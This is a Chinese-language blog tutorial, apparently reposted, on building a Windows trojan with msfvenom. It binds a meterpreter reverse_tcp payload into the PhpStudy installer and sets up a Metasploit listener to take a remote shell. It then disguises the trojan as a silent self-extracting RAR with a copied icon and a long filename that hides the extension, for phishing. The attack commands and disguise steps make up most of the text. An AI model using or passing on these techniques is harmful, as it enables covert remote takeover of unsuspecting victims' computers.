msf工具之木马程序制作以及伪装

本文转自行云博客https://www.xy586.top

文章目录

    • 捆绑木马
    • RAR自动解压

捆绑木马

使用msfvenom制作木马程序:

#生成木马文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.138 -f exe -x /root/PhpStudy2018.exe -o /root/phpstudy.exe

在这里插入图片描述

将木马文件放入靶机中

在这里插入图片描述

#设置监听反弹
msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.232.138
set lport 4444
run

将木马程序点击执行,监听端口得到回应,成功控制电脑
输入shell,彻底控制电脑

msf工具之木马程序制作以及伪装_第1张图片

RAR自动解压

设置自动解压运行

设置rar自动解压格式让它在解压时运行恶意程序

模拟文本文档钓鱼

改良木马程序:

伪装:将网页代码和app进行绑定,然后压缩,使用WinRAR创建自解压格式
msf工具之木马程序制作以及伪装_第2张图片

点击高级,在自解压选项中的常规中添加解压路径,
msf工具之木马程序制作以及伪装_第3张图片

设置程序选项卡中填写解压前后运行的程序,
msf工具之木马程序制作以及伪装_第4张图片

模式选项卡中静默模式选择全部隐藏
msf工具之木马程序制作以及伪装_第5张图片

使用BeCyIconGrabber.exe软件提取出我们想要的软件图片ico
msf工具之木马程序制作以及伪装_第6张图片

文本和图标选项中,选择加载我们刚刚生成的icon图标
msf工具之木马程序制作以及伪装_第7张图片

生成了我们伪装过后的木马程序
msf工具之木马程序制作以及伪装_第8张图片

同时可以将文件名称改成比较长的名字,在不选中文件的时候,文件名后面部分会被隐藏,达到隐藏后缀名的效果

你可能感兴趣的:(学习技术,kali)